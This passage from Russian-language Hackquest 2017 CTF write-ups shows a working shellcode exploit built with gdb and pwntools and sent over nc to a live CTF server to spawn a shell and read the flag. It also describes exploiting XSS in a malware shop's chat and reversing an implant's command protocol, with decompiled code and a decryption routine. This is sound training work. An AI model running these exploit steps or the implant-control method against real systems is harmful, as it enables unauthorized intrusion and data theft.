0x7fffffffe588:  0x45  0x44  0x43  0x42  0x41  0xc3  0xc3  0xc3
>>> 0x414243444546 * 6
430517113167780
0x7fffffffe588:  0x46  0x45  0x44  0x43  0x42  0x41  0xc3  0xc3
>>> 0x41424344454647 * 6
110212380970952106
0x7fffffffe588:  0x48  0x46  0x45  0x44  0x43  0x42  0x41  0x00
>>> 0x4142434445464748 * 6
28214369528563739568L
0x7fffffffe588:  0x00  0x48  0x46  0x45  0x44  0x43  0x42  0x41
>>> 0x1234567890112233 * 6
7870610803708579122
0x7fffffffe588:  0x00  0x22  0x11  0x90  0x78  0x56  0x34  0x12

Для разработки shellcode'а, использующего контекст, нам понадобятся значения регистров и содержимое стека.

user@ctf:~$ printf '4n1.0n' > input && printf 'set pagination off n break *0x4009ae n run < input n si n x/4xg $rsp n info reg n' | gdb ./m1 | sed -e 's/(gdb) //'
...

0x00007fffffffe588 in ?? ()
0x7fffffffe528: 0x00000000004009b1  0x00007fffffffe588
0x7fffffffe538: 0x3fc5555555555555  0x000000000000007c
rax            0x7fffffffe500   140737488348416
rbx            0x0  0
rcx            0xc3c3c300   3284386560
rdx            0x0  0
rsi            0x7fffffffe6d0   140737488348880
rdi            0x400710 4196112
rbp            0x7fffffffe5a0   0x7fffffffe5a0
rsp            0x7fffffffe528   0x7fffffffe528
r8             0x0  0
r9             0x7ffff787ec60   140737346268256
r10            0x7fffffffe2f0   140737488347888
r11            0x7ffff7b01530   140737348900144
r12            0x400710 4196112
r13            0x7fffffffe6d0   140737488348880
r14            0x0  0
r15            0x0  0
rip            0x7fffffffe588   0x7fffffffe588
...

Первые два значения в стеке: 0x00000000004009b1 — адрес возврата из shellcode'а, 0x00007fffffffe588 — адрес буфера с нашим кодом.

Используем pwntools для создания второй части shellcode'а:

>>> from pwn import *
>>> context.arch = "x86_64"
>>> print asm('pop rdi; syscall')[::-1].encode('hex')
050f5f
>>> 0x050f5f
331615

Используем pwntools для создания первой части shellcode'а с прыжком: 5 байт кода, 2 байта — прыжок через 5 байт, nop'ы ("90" в hex). nop'ы надо отрезать.

>>> print asm('push rdx ; pop rax ; pop rdx ; pop rsi ; push rbx ; jmp L ; nop ; nop ; nop ; nop ; nop ; L: nop')[::-1].encode('hex')
90909090909005eb535e5a5852
>>> 0x05eb535e5a5852 * 331615 * 2
1105019561413684439260L

Пробуем полученные числа в цикле, чтобы было удобно исправлять:

user@ctf:~$ while read -r a; do printf '331615n%s.0n' "$a" > input && printf 'set pagination off n break *0x4009ae n run < input n si n x/8xb $pc n' | gdb ./m1 | sed -e 's/(gdb) //; s/t/  /g' | grep '^0x[a-f0-9]+:' ; done
1105019561413684439260
0x7fffffffe588:  0xf1  0x9d  0xd2  0x89  0x54  0xeb  0x05  0x00
...
1105016229177322000000
0x7fffffffe588:  0x52  0x58  0x5a  0x5e  0x53  0xeb  0x05  0x00

Осталось только применить:

user@ctf:~$ printf '331615n1105016229177322000000.0n' > input
user@ctf:~$ python -c 'from pwn import *; context.arch = "x86_64"; print asm("nop") * 200 + asm(shellcraft.amd64.linux.sh())' > payload
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo ls) | nc spbctf.ppctf.net 5353
flag.txt
m116
run.sh
run_image.sh
runserver.sh
^C
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo cat flag.txt) | nc spbctf.ppctf.net 5353
H0P3_U_3Nj0Y3D_OU12_OBFUSKATOR

Примерный список однобайтовых инструкций x86-64

>>> for c in (c for c in (disasm(chr(i)) for i in range(256)) if '.byte' not in c and '(bad)' not in c): print c
   0:
   0:   26                      es
   0:   2e                      cs
   0:   36                      ss
   0:   3e                      ds
   0:   40                      rex
   0:   41                      rex.B
   0:   42                      rex.X
   0:   43                      rex.XB
   0:   44                      rex.R
   0:   45                      rex.RB
   0:   46                      rex.RX
   0:   47                      rex.RXB
   0:   48                      rex.W
   0:   49                      rex.WB
   0:   4a                      rex.WX
   0:   4b                      rex.WXB
   0:   4c                      rex.WR
   0:   4d                      rex.WRB
   0:   4e                      rex.WRX
   0:   4f                      rex.WRXB
   0:   50                      push   rax
   0:   51                      push   rcx
   0:   52                      push   rdx
   0:   53                      push   rbx
   0:   54                      push   rsp
   0:   55                      push   rbp
   0:   56                      push   rsi
   0:   57                      push   rdi
   0:   58                      pop    rax
   0:   59                      pop    rcx
   0:   5a                      pop    rdx
   0:   5b                      pop    rbx
   0:   5c                      pop    rsp
   0:   5d                      pop    rbp
   0:   5e                      pop    rsi
   0:   5f                      pop    rdi
   0:   64                      fs
   0:   65                      gs
   0:   66                      data16
   0:   67                      addr32
   0:   6c                      ins    BYTE PTR es:[rdi],dx
   0:   6d                      ins    DWORD PTR es:[rdi],dx
   0:   6e                      outs   dx,BYTE PTR ds:[rsi]
   0:   6f                      outs   dx,DWORD PTR ds:[rsi]
   0:   90                      nop
   0:   91                      xchg   ecx,eax
   0:   92                      xchg   edx,eax
   0:   93                      xchg   ebx,eax
   0:   94                      xchg   esp,eax
   0:   95                      xchg   ebp,eax
   0:   96                      xchg   esi,eax
   0:   97                      xchg   edi,eax
   0:   98                      cwde
   0:   99                      cdq
   0:   9b                      fwait
   0:   9c                      pushf
   0:   9d                      popf
   0:   9e                      sahf
   0:   9f                      lahf
   0:   a4                      movs   BYTE PTR es:[rdi],BYTE PTR ds:[rsi]
   0:   a5                      movs   DWORD PTR es:[rdi],DWORD PTR ds:[rsi]
   0:   a6                      cmps   BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
   0:   a7                      cmps   DWORD PTR ds:[rsi],DWORD PTR es:[rdi]
   0:   aa                      stos   BYTE PTR es:[rdi],al
   0:   ab                      stos   DWORD PTR es:[rdi],eax
   0:   ac                      lods   al,BYTE PTR ds:[rsi]
   0:   ad                      lods   eax,DWORD PTR ds:[rsi]
   0:   ae                      scas   al,BYTE PTR es:[rdi]
   0:   af                      scas   eax,DWORD PTR es:[rdi]
   0:   c3                      ret
   0:   c9                      leave
   0:   cb                      retf
   0:   cc                      int3
   0:   cf                      iret
   0:   d7                      xlat   BYTE PTR ds:[rbx]
   0:   ec                      in     al,dx
   0:   ed                      in     eax,dx
   0:   ee                      out    dx,al
   0:   ef                      out    dx,eax
   0:   f0                      lock
   0:   f1                      icebp
   0:   f2                      repnz
   0:   f3                      repz
   0:   f4                      hlt
   0:   f5                      cmc
   0:   f8                      clc
   0:   f9                      stc
   0:   fa                      cli
   0:   fb                      sti
   0:   fc                      cld
   0:   fd                      std 


Day 7. Hacking chains

Последний день состоял из комбинации разных областей: Web и RE (таск от SchoolCTF). Отправной точкой задания служил сайт по продаже эксплойтов. Сам сайт не содержал в себе каких-то уязвимостей, но на нем была уязвимая форма связи с техподдержкой. Необходимо было проэксплуатировать xss отправив сообщение в техподдержку, а затем отреверсить протокол общения между malware и командным центром. Более 200 человек пробовали свои силы в этом задании.

Победители
1 место 2 место 3 место
ilyaluk
smalukav
Felis-Sapiens

7th day writeup. (by ilyaluk)

If you are seeing this text you've got to be a highly experienced security professional.

Recently our IDS system has detected some weird user behavior in one of our corporate accounts. During an investigation we've found an incoming connection to a non-standard TCP port. We've been able to track source IP that led us to malware.zn.school-ctf.org. The website seems to be abandoned and we couldn't find anything which would help us to trace a real source of an intial connection or to contact the website owners.

We are suspecting that the machine is infected with some implants, but couldn't find any proofs of that either. We are asking you to continue the investigation, but we cannot give you an access to an internal network. You must find a shop owners and take control over implants in our network (if there are any).

We've already isolated possibly infected machine so you can find files that will proof presence of implants.

Yours,
VDooli Inc.

  • Есть ссылка на сайт malware.zn.school-ctf.org. Видим там модуль чата, XSS в тексте сообщения.

Hackquest 2017. Results & Writeups - 32

  • В админке есть несколько чатов, первый из которых датирован сильно раньше начала таски.

Hackquest 2017. Results & Writeups - 33

  • В этом чате есть ссылка на архив и хост:
  • В архиве ELF x86-64 бинарь. Запускаем, он форкается в фон и начинает слушать на порте 48807. На хосте тоже открыт этот порт и туда вываливаются какие-то четыре байта.
  • Открываем бинарь в IDA, смотрим, что он делает. В main происходит примерно это:

void __fastcall __noreturn main(__int64 argc, char **argv, char **env)
{
  agree();
  clear_argv((const char **)argv);
  myfork();
  nop();
  sub_4012E8((__int64)&unk_611030);
  setup_socket();
}

  • agree — просит ввести AGREE для запуска
  • clear_argv — очищает argv[0]
  • myfork — форкается
  • sub_4012E8 — читает что-то из самого бинаря
  • setup_socket — биндит сокет и форкается для обработки соединений

В конце setup_socket вызывается основной обработчик соединения.

Он выглядит примерно так

__int64 __fastcall handle_sock(int fd)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v30 = *MK_FP(__FS__, 40LL);
  v1 = time(0LL);
  srand(v1);
  buf = rand() % 998 + 1;
  write(fd, &buf, 4uLL);
  v24 = 127;
  v25 = &v28;
  v10 = len_read(fd, (__int64)&v24, 0x7Fu);
  if ( v10 )
  {
    v14 = malloc(0x1000uLL);
    v15 = malloc(0x1000uLL);
    ptr = malloc(0x1000uLL);
    v17 = malloc(0x1000uLL);
    if ( v14 && v15 && ptr && v17 )
    {
      ascii_to_utf16(v14, (__int64)&v24);
      v18 = sub_401143((__int64)&unk_611030, 7);
      do
      {
        sub_4024CE();
        v19 = v2;
      }
      while ( v2 != 2 );
      nptr = &v29;
      utf16_to_ascii((signed int *)v14, (__int64)&v26);
      v11 = strtol(nptr, 0LL, 10);
      if ( v11 == buf )
      {
        write(fd, "maladca", 7uLL);
        v10 = len_read(fd, (__int64)&v24, 0x7Fu);
        if ( v10 )
        {
          ascii_to_utf16(v14, (__int64)&v24);
          decrypt((__int64)v14, (__int64)v15);
          v12 = space_index((char *)v14);
          if ( v12 != -1 )
          {
            v10 = substr((char *)v14, (__int64)ptr, 0, v12);
            if ( v10 != -1 )
            {
              v10 = substr((char *)v14, (__int64)v17, v12 + 2, -1);
              if ( v10 != -1 )
              {
                v3 = command_to_idx((__int64)ptr, (__int64)v15);
                v13 = v3;
                switch ( v3 )
                {
                  case 2:
                    utf16_to_ascii((signed int *)v17, (__int64)&v26);
                    v20 = nptr;
                    nptr[v26] = 0;
                    v4 = (unsigned __int64)list_dir(nptr);
                    s = (char *)v4;
                    if ( v4 )
                    {
                      v26 = strlen(s);
                      nptr = s;
                      for ( i = 0; v26 > i; ++i )
                        ++s[i];
                      len_write(fd, (__int64)&v26);
                      free(s);
                    }
                    break;
                  case 3:
                    utf16_to_ascii((signed int *)v17, (__int64)&v26);
                    v20 = nptr;
                    nptr[v26] = 0;
                    v5 = (unsigned __int64)cat_file(nptr);
                    v22 = v5;
                    if ( v5 )
                    {
                      v23 = *(_QWORD *)(v22 + 8);
                      for ( j = 0; *(_DWORD *)v22 > j; ++j )
                        ++*(_BYTE *)((signed int)j + v23);
                      len_write(fd, v22);
                      sub_4026E0(v22);
                    }
                    break;
                  case 1:
                    sub_4015CB(v14, "hello hello my friend!");
                    sub_40127B((__int64)v14, (__int64)v15);
                    utf16_to_ascii((signed int *)v14, (__int64)&v26);
                    len_write(fd, (__int64)&v26);
                    break;
                }
              }
            }
          }
        }
      }
    }
    if ( ptr )
      free(ptr);
    if ( v17 )
      free(v17);
    if ( v14 )
      free(v14);
    if ( v15 )
      free(v15);
  }
  return *MK_FP(__FS__, 40LL) ^ v30;
}

Что тут происходит:

  • Генерируется и пишется в сокет бинарно случайное число
  • Читается строка из сокета в length-value формате
  • Аллоцируются всякие буферы, проверяется, что strtol от прочтённой строки равен случайному числу
  • Пишется maladca в сокет
  • Читается строка в том же формате, конвертируется в utf16, расшифровывается по какому-то обфусцированному алгоритму, о нём позже
  • Расшифрованная строка разбивается на две по пробелу, первая часть строки преобразуется в номер команды:
    • hello — 1
    • jqi3ow0o3qw3 — 2
    • t35j3r8o3h92 — 3
  • В зависимости от команды выполняются разные действия, интересны 2 и 3:
    • 2 — делается листинг директории, указанной в аргументе
    • 3 — читает файл, указанный в аргументе
  • Каждый байт результата в этих командах инкрементируется
  • Результат отправляется в сокет в length-value формате

Осталось разобраться с шифрованием. К счастью, в бинаре осталась отладочная функция для вывода буфера в length-value формате по адресу 0x4010E6, и немного запатчив бинарь можно видеть расшифрованные сообщения.

Немного поигравшись с разными бинарными строками можно понять, что буфер расшировывается примерно по такому алгоритму:

def dec(data):
    data = list(data)
    prefix = 0
    for i in range(len(data)):
        data[-i - 1] ^= prefix
        prefix = data[-i - 1]
    return bytes(data)

Остаётся посмотреть содержимое текущей директории и прочитать флаг из flag.txt.

Автор: Qou

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js